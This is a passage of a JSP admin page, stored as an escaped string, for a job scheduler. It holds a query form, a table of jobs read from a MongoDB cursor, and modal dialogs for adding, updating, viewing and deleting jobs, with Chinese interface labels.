Key\"\r\n\t\t\t\t\t\t\t\tvalue=\"<%=null!=qJobKey?qJobKey:\"\"%>\"/>\r\n\t\t\t\t\t</td>\r\n\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<select id=\"qJobType\"name=\"qJobType\">\r\n\t\t\t\t\t\t\t<%\r\n\t\t\t\t\t\t\t if(\"LOCAL\".equals(qJobType)){\r\n\t\t\t\t\t\t\t%>\r\n\t\t\t\t\t\t\t\t<option value=\"\">请选择Job Type</option>\r\n\t\t\t\t\t\t\t\t<option value=\"LOCAL\" selected>LOCAL</option>\r\n\t\t\t\t\t\t\t\t<option value=\"REMOTE\" >REMOTE</option>\r\n\t\t\t\t\t\t\t<%\r\n\t\t\t\t\t\t\t }else if(\"REMOTE\".equals(qJobType)){\r\n\t\t\t\t\t\t\t%>\r\n\t\t\t\t\t\t\t\t<option value=\"\">请选择Job Type</option>\r\n\t\t\t\t\t\t\t\t<option value=\"LOCAL\" >LOCAL</option>\r\n\t\t\t\t\t\t\t\t<option value=\"REMOTE\" selected >REMOTE</option>\r\n\t\t\t\t\t\t\t<%\r\n\t\t\t\t\t\t\t }else {\r\n\t\t\t\t\t\t\t%>\r\n\t\t\t\t\t\t\t\t <option value=\"\">请选择Job Type</option>\r\n\t\t\t\t\t\t\t\t <option value=\"LOCAL\" >LOCAL</option>\r\n\t\t\t\t\t\t\t\t <option value=\"REMOTE\" >REMOTE</option>\r\n\t\t\t\t\t\t\t<%\r\n\t\t\t\t\t\t\t }\r\n\t\t\t\t\t\t\t%>\r\n\t\t\t\t\t\t</select>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t\t<th>ip:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input  type=\"text\" id=\"qIp\"name=\"qIp\" placeholder=\"ip\" value=\"<%=null!=qIp?qIp:\"\"%>\"/>\r\n\t\t\t\t\t</td>\r\n\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<select id=\"qStatus\"name=\"qStatus\">\r\n\t\t\t\t\t\t\t<%\r\n\t\t\t\t\t\t\t\tif(\"1\".equals(qStatus)){\r\n\t\t\t\t\t\t\t%>\r\n\t\t\t\t\t\t\t\t<option value=\"\">请选择 Status</option>\r\n\t\t\t\t\t\t\t\t<option value=\"1\" selected>初始化状态</option>\r\n\t\t\t\t\t\t\t\t<option value=\"2\">运行中状态</option>\r\n\t\t\t\t\t\t\t<%\r\n\t\t\t\t\t\t\t}else if(\"2\".equals(qStatus)){\r\n\t\t\t\t\t\t\t%>\r\n\t\t\t\t\t\t\t\t<option value=\"\">请选择 Status</option>\r\n\t\t\t\t\t\t\t\t<option value=\"1\">初始化状态</option>\r\n\t\t\t\t\t\t\t\t<option value=\"2\" selected>运行中状态</option>\r\n\t\t\t\t\t\t\t<%\r\n\t\t\t\t\t\t\t}else {\r\n\t\t\t\t\t\t\t%>\r\n\t\t\t\t\t\t\t\t<option value=\"\">请选择 Status</option>\r\n\t\t\t\t\t\t\t\t<option value=\"1\">初始化状态</option>\r\n\t\t\t\t\t\t\t\t<option value=\"2\">运行中状态</option>\r\n\t\t\t\t\t\t\t<%\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t%>\r\n\r\n\t\t\t\t\t\t</select>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td colspan=\"6\">\r\n\t\t\t\t\t\t<center>\r\n\t\t\t\t\t\t\t<button class=\"btn btn-success\" type=\"submit\">查询</button>\r\n\t\t\t\t\t\t\t<button class=\"btn\" onclick=\"clearQuery()\">清空</button>\r\n\t\t\t\t\t\t\t<a class=\"btn btn-primary\" data-toggle=\"modal\" onclick=\"toAddJob()\" href=\"#\">\r\n\t\t\t\t\t\t\t\t新建</a>\r\n\t\t\t\t\t\t</center>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\t\t\t</form>\r\n\t\t\t</tbody>\r\n\t\t</table>\r\n\r\n\t\t<table class=\"table table-bordered table-striped\">\r\n      <thead>\r\n       <tr>\r\n         <th style=\"width: 20%; text-align: center;\" nowrap>Job Key</th>\r\n          <th style=\"width: 5%; text-align: center;\" nowrap>Job Type</th>\r\n          <th style=\"width: 5%; text-align: center;\" nowrap>Start Time</th>\r\n          <th style=\"width: 5%; text-align: center;\" nowrap>Cron Expression</th>\r\n          <th style=\"width: 5%; text-align: center;\" nowrap>Client Ip</th>\r\n          <th style=\"width: 5%; text-align: center;\" nowrap>Server Ip</th>\r\n          <th style=\"width: 5%; text-align: center;\" nowrap>Execute Start Time</th>\r\n          <th style=\"width: 5%; text-align: center;\" nowrap>Execute End Time</th>\r\n          <th style=\"width: 5%; text-align: center;\" nowrap>times</th>\r\n          <th style=\"width: 5%; text-align: center;\" nowrap>Fail Times</th>\r\n          <th style=\"width: 5%; text-align: center;\" nowrap>status</th>\r\n          <th style=\"width: 5%; text-align: center;\" nowrap>ts</th>\r\n         <th style=\"width: 5%;text-align: center;\" nowrap>操作</th>\r\n       </tr>\r\n      </thead>\r\n      <tbody>\r\n\t  <%\r\n\t  \tif(null!=dbCursor && dbCursor.size()>0){\r\n\t\t\twhile (dbCursor.hasNext()) {\r\n                DBObject tempDBObject = dbCursor.next();\r\n\t\t\t\tString nextValidTime = \"\";\r\n\t\t\t\tif(tempDBObject.containsField(DBTableInfo.COL_CRON_EXPRESSION) && StringUtil.isNotBlank((String)tempDBObject.get(DBTableInfo.COL_CRON_EXPRESSION))) {\r\n\t\t\t\t\tnextValidTime = DateUtil.formatWithDefaultPattern(\r\n\t\t\t\t\t\t\tDateUtil.getNextValidTimeAfter((String) tempDBObject.get(DBTableInfo.COL_CRON_EXPRESSION), new Date()));\r\n\t\t\t\t}\r\n\t  %>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td style=\"text-align: center;\" nowrap>\r\n\t\t\t\t\t\t<%=tempDBObject.get(DBTableInfo.COL_JOB_KEY)%>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t\t<td style=\"text-align: center;\" nowrap>\r\n\t\t\t\t\t\t<%=tempDBObject.get(DBTableInfo.COL_JOB_TYPE)%>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t\t<td style=\"text-align: center;\" nowrap>\r\n\t\t\t\t\t\t<%=tempDBObject.get(DBTableInfo.COL_START_TIME)%>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t\t<td style=\"text-align: center;\" nowrap>\r\n\t\t\t\t\t\t<%\r\n\t\t\t\t\t\t\tif(null!= nextValidTime && nextValidTime.length()>0){\r\n\t\t\t\t\t\t%>\r\n\t\t\t\t\t\t<a href=\"#\"  data-toggle=\"tooltip\" data-placement=\"bottom\"\r\n\t\t\t\t\t\t   title=\"下次执行时间:<%=nextValidTime%>\" >\r\n\t\t\t\t\t\t\t<%=tempDBObject.get(DBTableInfo.COL_CRON_EXPRESSION)%></a>\r\n\t\t\t\t\t\t<%\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t%>\r\n\r\n\t\t\t\t\t</td>\r\n\t\t\t\t\t<td style=\"text-align: center;\" nowrap>\r\n\t\t\t\t\t\t<%=tempDBObject.get(DBTableInfo.COL_CLIENT_IP)%>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t\t<td style=\"text-align: center;\" nowrap>\r\n\t\t\t\t\t\t<%=tempDBObject.get(DBTableInfo.COL_SERVER_IP)%>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t\t<td style=\"text-align: center;\" nowrap>\r\n\t\t\t\t\t\t<%=tempDBObject.get(DBTableInfo.COL_EXECUTE_START_TIME)%>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t\t<td style=\"text-align: center;\" nowrap>\r\n\t\t\t\t\t\t<%=tempDBObject.get(DBTableInfo.COL_EXECUTE_END_TIME)%>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t\t<td style=\"text-align: center;\" nowrap>\r\n\t\t\t\t\t\t<%=tempDBObject.get(DBTableInfo.COL_TIMES)%>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t\t<td style=\"text-align: center;\" nowrap>\r\n\t\t\t\t\t\t<%=tempDBObject.get(DBTableInfo.COL_FAIL_TIMES)%>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t\t<td style=\"text-align: center;\" nowrap>\r\n\t\t\t\t\t\t<%=CommonConstants.JOB_STATUS_1.equals(tempDBObject.get(DBTableInfo.COL_STATUS))?\r\n\t\t\t\t\t\t\t\t\"初始化状态\":\"运行中状态\"%>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t\t<td style=\"text-align: center;\" nowrap>\r\n\t\t\t\t\t\t<%=tempDBObject.get(DBTableInfo.COL_TS)%>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t\t<td style=\"text-align: center;\" nowrap>\r\n\t\t\t\t\t<%--\t<a data-toggle=\"modal\" onclick=\"toUpdateJob('<%=tempDBObject.get(DBTableInfo.COL_ID).toString() %>')\" href=\"#\">\r\n\t\t\t\t\t\t\t<i class=\"icon-edit\"></i>修改</a>--%>\r\n\t\t\t\t\t\t<a data-toggle=\"modal\" onclick=\"toViewJob('<%=tempDBObject.get(DBTableInfo.COL_ID).toString() %>')\"\r\n\t\t\t\t\t\t   href=\"#\">\r\n\t\t\t\t\t\t\t<i class=\"icon-eye-open\"></i>查看\r\n\t\t\t\t\t\t</a>\r\n\t\t\t\t\t\t<a data-toggle=\"modal\" onclick=\"toDeleteJob('<%=tempDBObject.get(DBTableInfo.COL_ID).toString() %>')\" href=\"#\">\r\n\t\t\t\t\t\t\t<i class=\"icon-remove\"></i>删除</a>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\t  <%\r\n\t\t  }\r\n\t\t}else {\r\n\t  %>\r\n\t\t\t<tr>\r\n\t\t\t<td colspan=\"13\" style=\"text-align: center;\" nowrap>暂无相关记录</td>\r\n\t\t\t</tr>\r\n\t  <%\r\n\t\t  }\r\n\t  %>\r\n\r\n      </tbody>\r\n     </table>\r\n    </div>\r\n\r\n\t<!-- 添加弹出层开始 -->\r\n\t<div id=\"addDiv\" class=\"modal hide fade\">\r\n\t\t<div class=\"modal-header\">\r\n\t\t\t<a class=\"close\" data-dismiss=\"modal\" >&times;</a>\r\n\t\t\t<h3>JOB添加</h3>\r\n\t\t</div>\r\n\t\t<div class=\"modal-body\">\r\n\t\t\t<table class=\"table table-bordered table-hover\">\r\n\t\t\t\t<tbody>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>Job Group:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"addJobGroup\" name=\"addJobGroup\"/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>Job Name:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"addJobName\" name=\"addJobName\"/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>Job Type:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<select id =\"addJobType\" name =\"addJobType\">\r\n\t\t\t\t\t\t\t<option value=\"\">请选择Job Type</option>\r\n\t\t\t\t\t\t\t<option value=\"LOCAL\" >LOCAL</option>\r\n\t\t\t\t\t\t\t<option value=\"REMOTE\">REMOTE</option>\r\n\t\t\t\t\t\t</select>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>Execute Type:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<select id =\"addExecuteType\" name =\"addExecuteType\">\r\n\t\t\t\t\t\t\t<option value=\"\">请选择Execute Type</option>\r\n\t\t\t\t\t\t\t<option value=\"ADD\" >ADD</option>\r\n\t\t\t\t\t\t\t<option value=\"UPDATE\">UPDATE</option>\r\n\t\t\t\t\t\t\t<option value=\"DELETE\">DELETE</option>\r\n\t\t\t\t\t\t</select>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>Job Strategy:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<select id =\"addJobStrategy\" name =\"addJobStrategy\">\r\n\t\t\t\t\t\t\t<option value=\"\">请选择Job Strategy</option>\r\n\t\t\t\t\t\t\t<option value=\"HASH\" >HASH</option>\r\n\t\t\t\t\t\t\t<option value=\"SYSTEM_CAPACITY\">SYSTEM_CAPACITY</option>\r\n\t\t\t\t\t\t</select>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>Job Class Name:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"addJobClassName\"name=\"addJobClassName\"/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>Start Time:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"addStartTime\"name=\"addStartTime\"/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>Cron Expression:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"addCronExpression\"name=\"addCronExpression\"/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>ip:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"addIp\" name=\"addIp\"/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>port:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"addPort\" name=\"addPort\"/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>Fixed Client Ips:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"addFixedClientIps\"\r\n\t\t\t\t\t\t\t   name=\"addFixedClientIps\"/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>Fixed Server Ips:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"addFixedServerIps\"\r\n\t\t\t\t\t\t\t   name=\"addFixedServerIps\"/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td colspan=\"2\">\r\n\t\t\t\t\t\t<center>\r\n\t\t\t\t\t\t\t<button class=\"btn btn-success\" onclick=\"addJob()\" >提交</button>\r\n\t\t\t\t\t\t\t<button class=\"btn btn-success\" data-dismiss=\"modal\">关闭</button>\r\n\t\t\t\t\t\t</center>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t</tbody>\r\n\t\t\t</table>\r\n\t\t</div>\r\n\t</div>\r\n\t<!-- 修改弹出层结束 -->\r\n\r\n\t<!-- 修改弹出层开始 -->\r\n\t<div id=\"updateDiv\" class=\"modal hide fade\">\r\n\t\t<div class=\"modal-header\">\r\n\t\t\t<a class=\"close\" data-dismiss=\"modal\" >&times;</a>\r\n\t\t\t<h3>JOB修改</h3>\r\n\t\t</div>\r\n\t\t<div class=\"modal-body\">\r\n\t\t\t<table class=\"table table-bordered table-hover\">\r\n\t\t\t\t<tbody>\r\n\t\t\t\t<tbody>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>Job Group:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input  type=\"hidden\" id=\"updateId\" name=\"updateId\"/>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"updateJobGroup\" name=\"updateJobGroup\"/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>Job Name:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"updateJobName\" name=\"updateJobName\"/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>Job Type:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<select id =\"updateJobType\" name =\"updateJobType\">\r\n\t\t\t\t\t\t\t<option value=\"\">请选择Job Type</option>\r\n\t\t\t\t\t\t\t<option value=\"LOCAL\" >LOCAL</option>\r\n\t\t\t\t\t\t\t<option value=\"REMOTE\">REMOTE</option>\r\n\t\t\t\t\t\t</select>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>Job Class Name:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"updateJobClassName\"name=\"updateJobClassName\"/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>Start Time:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"updateStartTime\"name=\"updateStartTime\"/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>Cron Expression:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"updateCronExpression\"name=\"updateCronExpression\"/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>ip:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"updateIp\" name=\"updateIp\"/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>ip:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"updatePort\" name=\"updatePort\"/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>Fixed Client Ips:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"updateFixedClientIps\"\r\n\t\t\t\t\t\t\t   name=\"updateFixedClientIps\"/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>Fixed Server Ips:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"updateFixedServerIps\"\r\n\t\t\t\t\t\t\t   name=\"updateFixedServerIps\"/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>status:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"updateStatus\"name=\"updateStatus\"/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td colspan=\"2\">\r\n\t\t\t\t\t\t<center>\r\n\t\t\t\t\t\t\t<button class=\"btn btn-success\" onclick=\"updateJob()\" >提交</button>\r\n\t\t\t\t\t\t\t<button class=\"btn btn-success\" data-dismiss=\"modal\">关闭</button>\r\n\t\t\t\t\t\t</center>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t</tbody>\r\n\t\t\t</table>\r\n\t\t</div>\r\n\t</div>\r\n\t<!-- 修改弹出层结束 -->\r\n\r\n\r\n\t<!-- 查询详情弹出层开始 -->\r\n\t<div id=\"detailDiv\" class=\"modal hide fade\">\r\n\t\t<div class=\"modal-header\">\r\n\t\t\t<a class=\"close\" data-dismiss=\"modal\" >&times;</a>\r\n\t\t\t<h3>JOB详情</h3>\r\n\t\t</div>\r\n\t\t<div class=\"modal-body\">\r\n\t\t\t<table class=\"table table-bordered table-hover\">\r\n\t\t\t\t<tbody>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>Job Key:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"detailJobKey\" name=\"detailJobKey\" readonly/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>Job Type:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"detailJobType\"name=\"detailJobType\" readonly/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>Execute Type:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"detailExecuteType\"name=\"detailExecuteType\" readonly/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>Job Strategy:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"detailJobStrategy\"name=\"detailJobStrategy\" readonly/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>Start Time:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"detailStartTime\"name=\"detailStartTime\" readonly/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>Cron Expression:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"detailCronExpression\"name=\"detailCronExpression\" readonly/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>Next Valid Time:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"detailNextValidTime\"name=\"detailNextValidTime\" readonly/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>ip:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"detailIp\" name=\"detailIp\" readonly/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>Fixed Client Ips:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"detailFixedClientIps\"\r\n\t\t\t\t\t\t\t   name=\"detailFixedClientIps\" readonly/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>Fixed Server Ips:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"detailFixedServerIps\"\r\n\t\t\t\t\t\t\t   name=\"detailFixedServerIps\" readonly/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>Execute Start Time:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"detailExecuteStartTime\"name=\"detailExecuteStartTime\" readonly/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>Execute End Time:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"detailExecuteEndTime\"name=\"detailExecuteEndTime\" readonly/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>times:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"detailTimes\"name=\"detailTimes\" readonly/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>Fail Times:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"detailFailTimes\"name=\"detailFailTimes\" readonly/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>status:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"detailStatus\"name=\"detailStatus\" readonly/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>TS:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"detailTs\"name=\"detailTs\" readonly/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td colspan=\"2\">\r\n\t\t\t\t\t\t<center>\r\n\t\t\t\t\t\t\t<button class=\"btn btn-success\" data-dismiss=\"modal\">关闭</button>\r\n\t\t\t\t\t\t</center>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t</tbody>\r\n\t\t\t</table>\r\n\t\t</div>\r\n\t</div>\r\n\t<!-- 查询详情弹出层结束 -->\r\n\r\n  <!-- 删除弹出层开始 -->\r\n    <div id=\"deleteJobDiv\" class=\"modal hide fade\" aria-hidden=\"true\" ke>\r\n        <div class=\"modal-header\">\r\n            <a class=\"close\" data-dismiss=\"modal\" >&times;</a>\r\n            <h3>JOB删除</h3>\r\n        </div>\r\n        <div class=\"modal-body\">\r\n            <p>您确定删除该JOB</p>\r\n        </div>\r\n        <div class=\"modal-footer\">\r\n            <center>\r\n                <button class=\"btn\" data-dismiss=\"modal\" aria-hidden=\"true\">关闭</button>\r\n                <button class=\"btn btn-success\" onclick=\"deleteJobData()\">删除DB数据</button>\r\n                <button class=\"btn btn-success\" onclick=\"deleteJob()\">删除</button>\r\n            </center>\r\n        </div>\r\n    </div>\r\n    <!-- 删除弹出层结束 -->\r\n  </body>\r\n</html>\r\n\r\n<script type=\"text/javascript\">\r\n\r\n\tvar isClickZeroMq = 